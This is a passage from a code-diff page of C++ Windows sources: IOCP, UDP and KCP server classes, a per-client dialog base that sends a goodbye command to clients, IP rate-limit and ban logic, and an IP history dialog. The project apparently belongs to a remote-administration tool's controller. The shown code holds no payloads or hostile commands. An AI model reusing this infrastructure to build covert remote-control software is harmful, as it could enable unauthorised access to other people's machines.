if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
if (!m_hIOCP) return 4;
m_running = true;
// 启动IOCP工作线程
m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
((IOCPKCPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// 启动KCP定时更新线程
m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this);
Mprintf("IOCPKCPServer StartServer: %p\n", this);
return 0;
}
void IOCPKCPServer::WorkerThread()
{
char buf[1500];
sockaddr_in clientAddr;
int addrLen = sizeof(clientAddr);
while (m_running) {
int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen);
if (ret > 0) {
CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket);
if (ctx && ctx->kcp) {
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
ikcp_input(ctx->kcp, buf, ret);
}
char recvbuf[4096];
int n = 0;
do {
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf));
}
if (n > 0&& m_notify) {
memcpy(ctx->szBuffer, recvbuf, n);
BOOL ret = ParseReceivedData(ctx, n, m_notify);
}
} while (n>0);
}
} else {
DWORD err = WSAGetLastError();
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
// 打印错误或做其他处理
}
}
}
Mprintf("IOCPKCPServer WorkerThread DONE: %p\n", this);
}
void IOCPKCPServer::KCPUpdateLoop()
{
while (m_running) {
IUINT32 current = iclock();
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
CONTEXT_KCP* ctx = kv.second;
if (ctx && ctx->kcp) {
ikcp_update(ctx->kcp, current);
}
}
Sleep(10);
}
}
BOOL IOCPKCPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
{
if (!ContextObject || !ContextObject->kcp) return FALSE;
ContextObject->OutCompressedBuffer.ClearBuffer();
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
return FALSE;
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
ikcp_send(ContextObject->kcp,
(const char*)ContextObject->OutCompressedBuffer.GetBuffer(),
(int)ContextObject->OutCompressedBuffer.GetBufferLength());
ikcp_flush(ContextObject->kcp);
}
return TRUE;
}
void IOCPKCPServer::Destroy()
{
Mprintf("IOCPKCPServer Destroy: %p\n", this);
m_running = false;
if (m_socket != INVALID_SOCKET) {
closesocket(m_socket);
m_socket = INVALID_SOCKET;
}
if (m_hThread) {
WaitForSingleObject(m_hThread, INFINITE);
SAFE_CLOSE_HANDLE(m_hThread);
m_hThread = NULL;
}
if (m_kcpUpdateThread.joinable())
m_kcpUpdateThread.join();
if (m_hIOCP) {
SAFE_CLOSE_HANDLE(m_hIOCP);
m_hIOCP = NULL;
}
// 清理所有客户端
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
if (kv.second) {
if (kv.second->kcp) {
ikcp_release(kv.second->kcp);
kv.second->kcp = nullptr;
}
delete kv.second;
}
}
m_clients.clear();
}
void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx)
{
if (!ctx) return;
std::string key = ctx->GetPeerName();
bool found = false;
// Step 1: Remove from m_clients while holding lock
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
auto it = m_clients.find(key);
if (it != m_clients.end() && it->second == ctx) {
m_clients.erase(it);
found = true;
}
}
// Step 2: Call offline callback WITHOUT holding m_contextsMutex
// This prevents deadlock with UI thread holding m_cs and calling Send2Client
if (found) {
if (m_offline) m_offline(ctx);
if (ctx->kcp) {
ikcp_release(ctx->kcp);
ctx->kcp = nullptr;
}
delete ctx;
}
}

View File

@@ -0,0 +1,84 @@
#pragma once
#include "Server.h"
class CONTEXT_KCP : public CONTEXT_OBJECT
{
public:
int addrLen = 0;
sockaddr_in clientAddr = {};
CONTEXT_KCP()
{
}
virtual ~CONTEXT_KCP()
{
}
std::string GetProtocol() const override
{
return "KCP";
}
VOID InitMember(SOCKET s, VOID* svr) override
{
CONTEXT_OBJECT::InitMember(s, svr);
clientAddr = {};
addrLen = sizeof(sockaddr_in);
}
void Destroy() override
{
}
virtual std::string GetPeerName() const override
{
char client_ip[INET_ADDRSTRLEN];
#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
client_ip[INET_ADDRSTRLEN - 1] = '\0';
#else
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
#endif
return client_ip;
}
virtual int GetPort() const override
{
int client_port = ntohs(clientAddr.sin_port);
return client_port;
}
};
class IOCPKCPServer : public Server
{
public:
IOCPKCPServer() {}
virtual ~IOCPKCPServer() {}
virtual int GetPort() const override
{
return m_port;
}
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
virtual BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
virtual void Destroy() override;
virtual void Disconnect(CONTEXT_OBJECT* ctx) override;
private:
SOCKET m_socket = INVALID_SOCKET;
HANDLE m_hIOCP = NULL;
HANDLE m_hThread = NULL;
bool m_running = false;
USHORT m_port = 0;
pfnNotifyProc m_notify = nullptr;
pfnOfflineProc m_offline = nullptr;
std::mutex m_contextsMutex;
std::unordered_map<std::string, CONTEXT_KCP*> m_clients; // key: "IP:port"
std::thread m_kcpUpdateThread;
CONTEXT_KCP* FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket);
void WorkerThread();
void KCPUpdateLoop();
static IUINT32 iclock();
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,248 @@
#pragma once
#include "StdAfx.h"
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#include "Server.h"
#include <Mstcpip.h>
#include "LangManager.h"
#include <map>
#include <set>
#include <string>
#define NC_CLIENT_CONNECT 0x0001
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 // 完整接收
// ZLIB 压缩库
#include "zlib/zlib.h"
inline int z_uncompress(z_stream* strm, Bytef* dest, uLongf* destLen, const Bytef* src, uLong srcLen)
{
inflateReset(strm);
strm->next_in = (Bytef*)src;
strm->avail_in = srcLen;
strm->next_out = dest;
strm->avail_out = *destLen;
int ret = inflate(strm, Z_FINISH);
*destLen = strm->total_out;
if (ret == Z_STREAM_END) return Z_OK;
return ret;
}
class IOCPServer : public Server
{
protected:
int m_nPort;
SOCKET m_sListenSocket;
HANDLE m_hCompletionPort;
UINT m_ulMaxConnections;
HANDLE m_hListenEvent;
HANDLE m_hListenThread;
BOOL m_bTimeToKill;
HANDLE m_hKillEvent;
ULONG m_ulThreadPoolMin;
ULONG m_ulThreadPoolMax;
ULONG m_ulCPULowThreadsHold;
ULONG m_ulCPUHighThreadsHold;
ULONG m_ulCurrentThread;
ULONG m_ulBusyThread;
ULONG m_ulKeepLiveTime;
pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc;
ULONG m_ulWorkThreadCount;
CRITICAL_SECTION m_cs;
ContextObjectList m_ContextConnectionList;
ContextObjectList m_ContextFreePoolList;
HWND m_hMainWnd = nullptr;
// IP 连接限流和封禁
struct ConnectionInfo {
int count; // 连接次数
time_t windowStart; // 统计窗口起始时间
};
std::map<std::string, ConnectionInfo> m_ConnectionCount; // IP -> 连接统计
std::map<std::string, time_t> m_BannedIPs; // IP -> 封禁到期时间
CRITICAL_SECTION m_BanLock;
// 白名单已移至 IPWhitelist 单例 (common/IPWhitelist.h)
bool IsIPBanned(const std::string& ip);
bool IsIPBlacklisted(const std::string& ip);
void RecordConnection(const std::string& ip);
void BanIP(const std::string& ip, int seconds);
void LoadIPWhitelist();
void LoadIPBlacklist();
private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
BOOL InitializeIOCP(VOID);
VOID OnAccept();
PCONTEXT_OBJECT AllocateContext(SOCKET s);
BOOL RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z);
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z);
BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
int AddWorkThread(int n)
{
EnterCriticalSection(&m_cs);
m_ulWorkThreadCount += n;
int ret = m_ulWorkThreadCount;
LeaveCriticalSection(&m_cs);
return ret;
}
public:
IOCPServer(HWND hWnd = nullptr);
~IOCPServer(void);
int GetPort() const override
{
return m_nPort;
}
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override
{
return OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
}
void UpdateMaxConnection(int maxConn);
void Destroy();
void Disconnect(CONTEXT_OBJECT *ctx) {}
};
typedef IOCPServer ISocketBase;
typedef IOCPServer CIOCPServer;
typedef CONTEXT_OBJECT ClientContext;
#define m_Socket sClientSocket
#define m_DeCompressionBuffer InDeCompressedBuffer
// 所有动态创建的对话框的基类
class CDialogBase : public CDialogLang
{
public:
CONTEXT_OBJECT* m_ContextObject;
Server* m_iocpServer;
CString m_IPAddress;
bool m_bIsClosed;
bool m_bIsProcessing;
HICON m_hIcon;
BOOL m_bConnected;
uint64_t m_ClientID = 0;
uint64_t m_nDisconnectTime = 0;
CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
m_bIsClosed(false), m_bIsProcessing(false),
m_ContextObject(pContext),
m_iocpServer(pIOCPServer),
CDialogLang(nIDTemplate, pParent)
{
m_bConnected = TRUE;
m_nDisconnectTime = 0;
m_IPAddress = pContext->GetPeerName().c_str();
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
}
int UpdateContext(CONTEXT_OBJECT* pContext, uint64_t clientID)
{
if (m_bIsClosed) {
Mprintf("%s SayByeBye: %llu [Already Closed]\n", ToPekingTimeAsString(0).c_str(), clientID);
BYTE bToken = COMMAND_BYE;
return m_ContextObject->Send2Client(&bToken, 1) ? 0 : 0x20260223;
}
m_ClientID = clientID;
m_bConnected = TRUE;
m_nDisconnectTime = 0;
m_ContextObject = pContext;
m_iocpServer = pContext->GetServer();
m_ContextObject->hDlg = this;
m_ContextObject->hWnd = GetSafeHwnd();
return 0;
}
virtual ~CDialogBase() {}
public:
virtual BOOL ReceiveCommonMsg()
{
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_CLIENT_MSG: {
ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
return TRUE;
}
}
return FALSE;
}
virtual void OnReceiveComplete(void) = 0;
// 标记为是否正在接受数据
void MarkReceiving(bool recv = true)
{
m_bIsProcessing = recv;
}
bool IsProcessing() const
{
return m_bIsProcessing;
}
void OnClose()
{
m_bIsClosed = true;
m_bConnected = FALSE;
while (m_bIsProcessing)
Sleep(200);
if(m_hIcon) DestroyIcon(m_hIcon);
m_hIcon = NULL;
__super::OnClose();
if (GetSafeHwnd())
DestroyWindow();
}
virtual void PostNcDestroy() override
{
delete this;
}
virtual BOOL ShouldReconnect()
{
return FALSE;
}
// 取消 SOCKET 读取,该函数可以被多次调用
void CancelIO()
{
m_bIsClosed = TRUE;
m_ContextObject->CancelIO();
}
BOOL IsClosed() const
{
return m_bIsClosed;
}
uint64_t GetClientID() const {
return m_ClientID;
}
BOOL SayByeBye()
{
if (!m_bConnected) return FALSE;
Mprintf("%s SayByeBye: %s\n", ToPekingTimeAsString(0).c_str(), m_ContextObject->GetPeerName().c_str());
BYTE bToken = COMMAND_BYE;
return m_ContextObject->Send2Client(&bToken, 1);
}
};
typedef CDialogBase DialogBase;
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL);

View File

@@ -0,0 +1,182 @@
#include "stdafx.h"
#include "IOCPUDPServer.h"
#include <thread>
#include <iostream>
#include "IOCPServer.h"
IOCPUDPServer::IOCPUDPServer()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
}
IOCPUDPServer::~IOCPUDPServer()
{
WSACleanup();
}
UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
{
if (m_running) return 1;
m_port = uPort;
m_notify = NotifyProc;
m_offline = OffProc;
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (m_socket == INVALID_SOCKET) return 2;
sockaddr_in addr{};
addr.sin_family = AF_INET;
addr.sin_port = htons(uPort);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
if (!m_hIOCP) return 4;
m_running = true;
// 启动工作线程
m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
((IOCPUDPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// 提交多个初始接收
for (int i = 0; i < 4; ++i)
PostRecv();
return 0; // 成功
}
void IOCPUDPServer::PostRecv()
{
if (!m_running) return;
IO_CONTEXT* ioCtx = AddCount();
if (ioCtx == nullptr) {
Mprintf("IOCPUDPServer max connection number reached.\n");
return;
}
CONTEXT_UDP* ctx = ioCtx->pContext;
ctx->wsaInBuf.buf = ctx->szBuffer;
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
DWORD flags = 0;
int err = WSARecvFrom(
m_socket,
&ctx->wsaInBuf,
1,
NULL,
&flags,
(sockaddr*)&ctx->clientAddr,
&ctx->addrLen,
&ioCtx->ol,
NULL
);
if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
DWORD err = WSAGetLastError();
Mprintf("[IOCP] PostRecv error: %d\n", err);
delete ioCtx;
DelCount();
}
}
void IOCPUDPServer::WorkerThread()
{
while (m_running) {
DWORD bytes = 0;
ULONG_PTR key = 0;
LPOVERLAPPED pOverlapped = nullptr;
BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE);
if (!ok) {
DWORD err = WSAGetLastError();
Mprintf("[IOCP] PostRecv error: %d\n", err);
if (pOverlapped) {
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
delete ioCtx;
DelCount();
}
continue;
}
if (!pOverlapped) continue;
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
CONTEXT_UDP* ctx = ioCtx->pContext;
BOOL ret = ParseReceivedData(ctx, bytes, m_notify);
if (999 != ret)
ctx->Destroy();
// 释放
ioCtx->pContext = NULL;
delete ioCtx;
DelCount();
PostRecv(); // 继续提交
}
SAFE_CLOSE_HANDLE(m_hThread);
m_hThread = NULL;
}
BOOL IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
{
ContextObject->OutCompressedBuffer.ClearBuffer();
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
return FALSE;
WSABUF buf = {
ContextObject->OutCompressedBuffer.GetBufferLength(),
(CHAR*)ContextObject->OutCompressedBuffer.GetBuffer(),
};
if (buf.len > 1200) {
Mprintf("UDP large packet may lost: %d bytes\n", buf.len);
}
DWORD sent = 0;
CONTEXT_UDP* ctx = (CONTEXT_UDP*)ContextObject;
int err = WSASendTo(
ContextObject->sClientSocket,
&buf,
1,
&sent,
0,
(sockaddr*)&ctx->clientAddr,
sizeof(sockaddr_in),
NULL,
NULL
);
if (err == SOCKET_ERROR) {
DWORD err = WSAGetLastError();
Mprintf("[IOCP] Send2Client error: %d\n", err);
return FALSE;
}
return TRUE;
}
VOID IOCPUDPServer::Destroy()
{
if (m_socket != INVALID_SOCKET) {
CancelIoEx((HANDLE)m_socket, NULL); // 取消所有IO请求
closesocket(m_socket);
m_socket = INVALID_SOCKET;
}
while (GetCount())
Sleep(200);
m_running = false;
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // 用于唤醒线程退出
if (m_hThread) {
WaitForSingleObject(m_hThread, INFINITE);
while (m_hThread)
Sleep(200);
}
if (m_hIOCP) {
SAFE_CLOSE_HANDLE(m_hIOCP);
m_hIOCP = NULL;
}
}

View File

@@ -0,0 +1,80 @@
#pragma once
#include <winsock2.h>
#include <windows.h>
#include <mswsock.h>
#include "Server.h"
class IOCPUDPServer : public Server
{
struct IO_CONTEXT {
OVERLAPPED ol = {};
CONTEXT_UDP* pContext = nullptr;
IO_CONTEXT() : ol({}), pContext(new CONTEXT_UDP)
{
}
~IO_CONTEXT()
{
SAFE_DELETE(pContext);
}
};
public:
IOCPUDPServer();
~IOCPUDPServer();
int GetPort() const override
{
return m_port;
}
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
VOID Destroy() override;
virtual void UpdateMaxConnection(int maxConn) override
{
m_locker.lock();
m_maxConn = maxConn;
m_locker.unlock();
}
private:
void WorkerThread();
void PostRecv();
IO_CONTEXT* AddCount()
{
m_locker.lock();
if (m_count > m_maxConn) {
m_locker.unlock();
return nullptr;
}
IO_CONTEXT* ioCtx = new IO_CONTEXT();
ioCtx->pContext->InitMember(m_socket, this);
m_count++;
m_locker.unlock();
return ioCtx;
}
void DelCount()
{
m_locker.lock();
m_count--;
m_locker.unlock();
}
int GetCount()
{
m_locker.lock();
int n = m_count;
m_locker.unlock();
return n;
}
private:
int m_maxConn = 10000;
int m_port = 6543;
int m_count = 0;
CLocker m_locker;
SOCKET m_socket = INVALID_SOCKET;
HANDLE m_hIOCP = NULL;
HANDLE m_hThread = NULL;
bool m_running = false;
pfnNotifyProc m_notify = nullptr;
pfnOfflineProc m_offline = nullptr;
};

View File

@@ -0,0 +1,110 @@
// IPHistoryDlg.cpp - IP 历史记录对话框实现
#include "stdafx.h"
#include "IPHistoryDlg.h"
#include "afxdialogex.h"
CIPHistoryDlg::CIPHistoryDlg(CWnd* pParent /*=nullptr*/)
: CDialogLangEx(IDD_DIALOG_IP_HISTORY, pParent)
, m_nRemovedCount(0)
{
}
CIPHistoryDlg::~CIPHistoryDlg()
{
}
void CIPHistoryDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_IP_HISTORY, m_ListBox);
}
BEGIN_MESSAGE_MAP(CIPHistoryDlg, CDialogLangEx)
END_MESSAGE_MAP()
BOOL CIPHistoryDlg::OnInitDialog()
{
__super::OnInitDialog();
// 设置标题
if (!m_strTitle.IsEmpty()) {
SetWindowText(m_strTitle);
}
// 多语言
SetDlgItemText(IDOK, _TR("确定"));
// 填充列表
PopulateList();
// 设置摘要
CString summary;
if (m_nRemovedCount > 0) {
summary.Format(_TR("共 %d 条记录(已清理 %d 条过期记录)"),
(int)m_Records.size(), m_nRemovedCount);
} else {
summary.Format(_TR("共 %d 条记录"), (int)m_Records.size());
}
SetDlgItemText(IDC_STATIC_IP_SUMMARY, summary);
return TRUE;
}
void CIPHistoryDlg::PopulateList()
{
m_ListBox.ResetContent();
// 设置水平滚动范围
CDC* pDC = m_ListBox.GetDC();
int maxWidth = 0;
int index = 1;
for (const auto& record : m_Records) {
CString line;
if (!record.machineName.empty()) {
if (!record.formattedDate.empty()) {
line.Format(_TR("%d. %s [%s] (最后活跃: %s)"),
index,
CString(record.ip.c_str()).GetString(),
CString(record.machineName.c_str()).GetString(),
CString(record.formattedDate.c_str()).GetString());
} else {
line.Format(_T("%d. %s [%s]"),
index,
CString(record.ip.c_str()).GetString(),
CString(record.machineName.c_str()).GetString());
}
} else {
if (!record.formattedDate.empty()) {
line.Format(_TR("%d. %s (最后活跃: %s)"),
index,
CString(record.ip.c_str()).GetString(),
CString(record.formattedDate.c_str()).GetString());
} else {
line.Format(_T("%d. %s"),
index,
CString(record.ip.c_str()).GetString());
}
}
m_ListBox.AddString(line);
// 计算文本宽度
if (pDC) {
CSize size = pDC->GetTextExtent(line);
if (size.cx > maxWidth) {
maxWidth = size.cx;
}
}
index++;
}
// 设置水平滚动范围
if (pDC) {
m_ListBox.ReleaseDC(pDC);
m_ListBox.SetHorizontalExtent(maxWidth + 20);
}
}

View File

@@ -0,0 +1,43 @@
// IPHistoryDlg.h - IP 历史记录对话框
#pragma once
#include "resource.h"
#include "LangManager.h"
#include <vector>
#include <string>
struct IPRecord {
std::string ip;
std::string machineName;
std::string timestamp;
std::string formattedDate;
int daysAgo;
};
class CIPHistoryDlg : public CDialogLangEx
{
public:
CIPHistoryDlg(CWnd* pParent = nullptr);
virtual ~CIPHistoryDlg();
enum { IDD = IDD_DIALOG_IP_HISTORY };
// 设置数据
void SetTitle(const CString& title) { m_strTitle = title; }
void SetRecords(const std::vector<IPRecord>& records) { m_Records = records; }
void SetRemovedCount(int count) { m_nRemovedCount = count; }
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
private:
CListBox m_ListBox;
CString m_strTitle;
std::vector<IPRecord> m_Records;
int m_nRemovedCount;
void PopulateList();
};

View File

@@ -0,0 +1,224 @@
// InputDialog.cpp: 实现文件
//
#include "stdafx.h"
#include "InputDlg.h"
#include "afxdialogex.h"
#include "2015Remote.h"
#include <algorithm>
// CInputDialog 对话框
IMPLEMENT_DYNAMIC(CInputDialog, CDialogEx)
CInputDialog::CInputDialog(CWnd* pParent /*=nullptr*/)
: CDialogLangEx(IDD_DIALOG_INPUT, pParent)
, m_sSecondInput(_T(""))
, m_sThirdInput(_T(""))
, m_sTipInfo(_T(""))
{
m_hIcon = NULL;
}
CInputDialog::~CInputDialog()
{
}
void CInputDialog::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_FOLDERNAME, m_ComboInput);
DDX_Control(pDX, IDC_STATIC_SECOND, m_Static2thInput);
DDX_Control(pDX, IDC_EDIT_SECOND, m_Edit2thInput);
DDX_Text(pDX, IDC_EDIT_SECOND, m_sSecondInput);
DDV_MaxChars(pDX, m_sSecondInput, 100);
DDX_Control(pDX, IDC_STATIC_THIRD, m_Static3rdInput);
DDX_Control(pDX, IDC_EDIT_THIRD, m_Edit3rdInput);
DDX_Text(pDX, IDC_EDIT_THIRD, m_sThirdInput);
DDV_MaxChars(pDX, m_sThirdInput, 100);
DDX_Control(pDX, IDC_STATIC_TIPINFO, m_StaticTipInfo);
DDX_Text(pDX, IDC_STATIC_TIPINFO, m_sTipInfo);
DDV_MaxChars(pDX, m_sTipInfo, 64);
}
BEGIN_MESSAGE_MAP(CInputDialog, CDialogEx)
ON_BN_CLICKED(IDOK, &CInputDialog::OnBnClickedOk)
END_MESSAGE_MAP()
// CInputDialog 消息处理程序
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt)
{
m_sCaption = caption;
m_sPrompt = prompt;
return TRUE;
}
void CInputDialog::Init2(LPCTSTR name, LPCTSTR defaultValue)
{
m_sItemName = name;
m_sSecondInput = defaultValue;
}
void CInputDialog::Init3(LPCTSTR name, LPCTSTR defaultValue)
{
m_sItemName3 = name;
m_sThirdInput = defaultValue;
}
void CInputDialog::SetHistoryKey(LPCTSTR historyKey)
{
m_sHistoryKey = historyKey;
}
void CInputDialog::LoadHistory()
{
if (m_sHistoryKey.IsEmpty()) return;
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
if (history.empty()) return;
// 按 | 分割历史记录
auto items = StringToVector(history, '|');
for (size_t i = 0; i < items.size() && i < 16; i++) {
if (!items[i].empty()) {
m_ComboInput.AddString(items[i].c_str());
}
}
}
void CInputDialog::SaveHistory()
{
if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
std::string newValue = m_str.GetString();
// 输入包含 | 则不保存到历史(避免破坏分隔符格式)
if (newValue.find('|') != std::string::npos) return;
// 读取现有历史
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
auto items = StringToVector(history, '|');
// 去重:如果新值已存在,先删除旧位置
items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
// 移除空项
items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
// 插入新值到最前面
items.insert(items.begin(), newValue);
// 截断到 16 项
if (items.size() > 16) {
items.resize(16);
}
// 用 | 连接,写回配置
std::string result;
for (size_t i = 0; i < items.size(); i++) {
if (i > 0) result += '|';
result += items[i];
}
THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
}
BOOL CInputDialog::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_SECOND, _TR("另一个输入框:"));
SetDlgItemText(IDC_STATIC_THIRD, _TR("第三个输入框:"));
SetDlgItemText(IDC_STATIC_TIPINFO, _TR("提示信息"));
SetDlgItemText(IDC_STATIC_INPUT_PROMPT, _TR("请输入目录:"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SetIcon(m_hIcon, FALSE);
SetWindowText(m_sCaption);
SetDlgItemText(IDC_STATIC_INPUT_PROMPT, m_sPrompt);
LoadHistory();
m_ComboInput.SetWindowText(m_str);
// 设置输入框内容和显示状态
m_Static2thInput.SetWindowTextA(m_sItemName);
m_Static2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW);
m_Edit2thInput.SetWindowTextA(m_sSecondInput);
m_Edit2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW);
m_Static3rdInput.SetWindowTextA(m_sItemName3);
m_Static3rdInput.ShowWindow(m_sItemName3.IsEmpty() ? SW_HIDE : SW_SHOW);
m_Edit3rdInput.SetWindowTextA(m_sThirdInput);
m_Edit3rdInput.ShowWindow(m_sItemName3.IsEmpty() ? SW_HIDE : SW_SHOW);
m_StaticTipInfo.SetWindowTextA(m_sTipInfo);
m_StaticTipInfo.ShowWindow(m_sTipInfo.IsEmpty() ? SW_HIDE : SW_SHOW);
// 根据输入框数量动态调整对话框高度
int inputCount = 1; // 至少有第一个输入框
if (!m_sItemName.IsEmpty()) inputCount = 2;
if (!m_sItemName3.IsEmpty()) inputCount = 3;
// 计算新高度和按钮位置 (对话框单位)
// 1个输入框: 高度57, 按钮y=36
// 2个输入框: 高度81, 按钮y=60
// 3个输入框: 高度105, 按钮y=84
int dlgHeight = 57 + (inputCount - 1) * 24;
int buttonY = 36 + (inputCount - 1) * 24;
int tipY = buttonY - 12;
// 将对话框单位转换为像素
CRect dlgRect;
GetWindowRect(&dlgRect);
CRect clientRect;
GetClientRect(&clientRect);
// 使用 MapDialogRect 将对话框单位转换为像素
CRect unitRect(0, 0, 4, dlgHeight);
MapDialogRect(&unitRect);
int newHeightPixels = unitRect.bottom + (dlgRect.Height() - clientRect.Height());
// 调整对话框大小
SetWindowPos(NULL, 0, 0, dlgRect.Width(), newHeightPixels, SWP_NOMOVE | SWP_NOZORDER);
// 调整按钮位置
CRect btnRect(0, 0, 4, buttonY);
MapDialogRect(&btnRect);
int btnYPixels = btnRect.bottom;
CWnd* pBtnOK = GetDlgItem(IDOK);
CWnd* pBtnCancel = GetDlgItem(IDCANCEL);
if (pBtnOK && pBtnCancel) {
CRect okRect, cancelRect;
pBtnOK->GetWindowRect(&okRect);
ScreenToClient(&okRect);
pBtnCancel->GetWindowRect(&cancelRect);
ScreenToClient(&cancelRect);
pBtnOK->SetWindowPos(NULL, okRect.left, btnYPixels, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
pBtnCancel->SetWindowPos(NULL, cancelRect.left, btnYPixels, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
}
// 调整提示信息位置
if (!m_sTipInfo.IsEmpty()) {
CRect tipUnitRect(0, 0, 4, tipY);
MapDialogRect(&tipUnitRect);
CRect tipRect;
m_StaticTipInfo.GetWindowRect(&tipRect);
ScreenToClient(&tipRect);
m_StaticTipInfo.SetWindowPos(NULL, tipRect.left, tipUnitRect.bottom, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
}
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CInputDialog::OnBnClickedOk()
{
